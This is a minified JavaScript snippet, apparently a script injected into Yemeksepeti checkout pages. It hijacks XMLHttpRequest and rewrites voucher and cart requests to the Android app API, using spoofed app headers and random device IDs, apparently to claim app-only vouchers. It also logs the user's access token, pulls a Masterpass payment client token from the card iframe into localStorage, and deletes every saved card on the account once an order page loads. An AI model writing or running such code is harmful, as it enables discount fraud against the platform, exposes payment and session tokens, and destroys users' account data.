(()=>{if(!window.location.href.includes("checkout"))return;setInterval(()=>{window.getCookie||(window.getCookie=function(a){const b=new URLSearchParams(document.cookie.replaceAll(";","&"));return b.get(" "+a)??b.get(a)})},100),setInterval(()=>{window.makeid||(window.makeid=function(a){let b="";const c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".length;for(let d=0;d<a;d++)b+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(Math.random()*c));return b})},100),setInterval(()=>{if(document.getElementById("reactRoot")){var a=XMLHttpRequest.prototype.open,b=XMLHttpRequest.prototype.send,c="",d="";XMLHttpRequest.prototype.open=function(b,e){c=b,d=e,a.apply(this,[].slice.call(arguments))},XMLHttpRequest.prototype.send=function(a){return d.includes("incentives-wallet/vouchers")?(this.open(c,"https://tr.fd-api.com/api/v6/incentives-wallet/vouchers?locale=tr_TR&expedition_type=delivery&order_time=now&order_value="+JSON.parse(localStorage.cart).subtotal+"&platform=android_native_app&vendor_code="+JSON.parse(localStorage.cart).vendor_cart[0].vendor_code,!0),this.setRequestHeader("X-Pd-Language-Id","2"),this.setRequestHeader("Api-Client-Version","5.0"),this.setRequestHeader("Device-Make","HUAWEI"),this.setRequestHeader("Device-Model",makeid(32)),this.setRequestHeader("Device-Id",makeid(32)),this.setRequestHeader("App-Name","com.inovel.app.yemeksepeti"),this.setRequestHeader("App-Flavor","yemeksepeti"),this.setRequestHeader("Build-Number","230700284"),this.setRequestHeader("Build-Type","release"),this.setRequestHeader("Platform","android"),this.setRequestHeader("Platform-Version","24"),this.setRequestHeader("Android-Mobile-Service-Provider","gms"),this.setRequestHeader("App-Build","230700284"),this.setRequestHeader("App-Version","23.7.0"),this.setRequestHeader("Cust-Code","treyw4kr"),this.setRequestHeader("Eks","csccsc"),this.setRequestHeader("Sentry-Trace","00000000000000000000000000000000-0000000000000000-0"),this.setRequestHeader("Authorization","Bearer "+window.getCookie("access_token")??window.getCookie("device_token")),this.setRequestHeader("Content-Type","application/json; charset=UTF-8"),this.setRequestHeader("X-Fp-Api-Key","android"),console.log(window.getCookie("access_token")),void b.call(this,null)):d.includes("api/v5/cart/calculate")||d.includes("api/v5/cart/checkout")||d.includes("api/v5/rs/cart/calculate")?void(d.includes("api/v5/rs/cart/calculate")&&(d=d.replace("api/v5/rs/cart/calculate","api/v5/cart/calculate")),this.open(c,d,!0),this.setRequestHeader("X-Pd-Language-Id","2"),this.setRequestHeader("Api-Client-Version","5.0"),this.setRequestHeader("Device-Make","HUAWEI"),this.setRequestHeader("Device-Model",makeid(32)),this.setRequestHeader("Device-Id",makeid(32)),this.setRequestHeader("App-Name","com.inovel.app.yemeksepeti"),this.setRequestHeader("App-Flavor","yemeksepeti"),this.setRequestHeader("Build-Number","230700284"),this.setRequestHeader("Build-Type","release"),this.setRequestHeader("Platform","android"),this.setRequestHeader("Platform-Version","24"),this.setRequestHeader("Android-Mobile-Service-Provider","gms"),this.setRequestHeader("App-Build","230700284"),this.setRequestHeader("App-Version","23.7.0"),this.setRequestHeader("Cust-Code","treyw4kr"),this.setRequestHeader("Eks","csccsc"),this.setRequestHeader("Sentry-Trace","00000000000000000000000000000000-0000000000000000-0"),this.setRequestHeader("Authorization","Bearer "+window.getCookie("access_token")??window.getCookie("device_token")),this.setRequestHeader("Content-Type","application/json; charset=UTF-8"),this.setRequestHeader("X-Fp-Api-Key","android"),console.log(window.getCookie("access_token")),b.call(this,a)):void b.call(this,a)}}},500);let a=setInterval(()=>{const b=document.getElementById("yemekpay_creditcardIframe");b&&(fetch(b.src).then(async a=>{localStorage.masterpass=JSON.parse(atob((await a.text()).matchAll(/__PROVIDER_PROPS__='(.*?)'/gm).next().value[1])).config.bruceOwnerData.additionalData.clientToken}),clearInterval(a))},100);var b=setInterval(()=>{window.location.href.includes("order")&&(async function(){fetch("https://www.yemeksepeti.com/account/cards").then(async a=>{const b=await a.json();for(const c of b.items)fetch("https://www.yemeksepeti.com/account/card/"+c.id,{method:"DELETE"})})}(),clearInterval(b))},100)})();
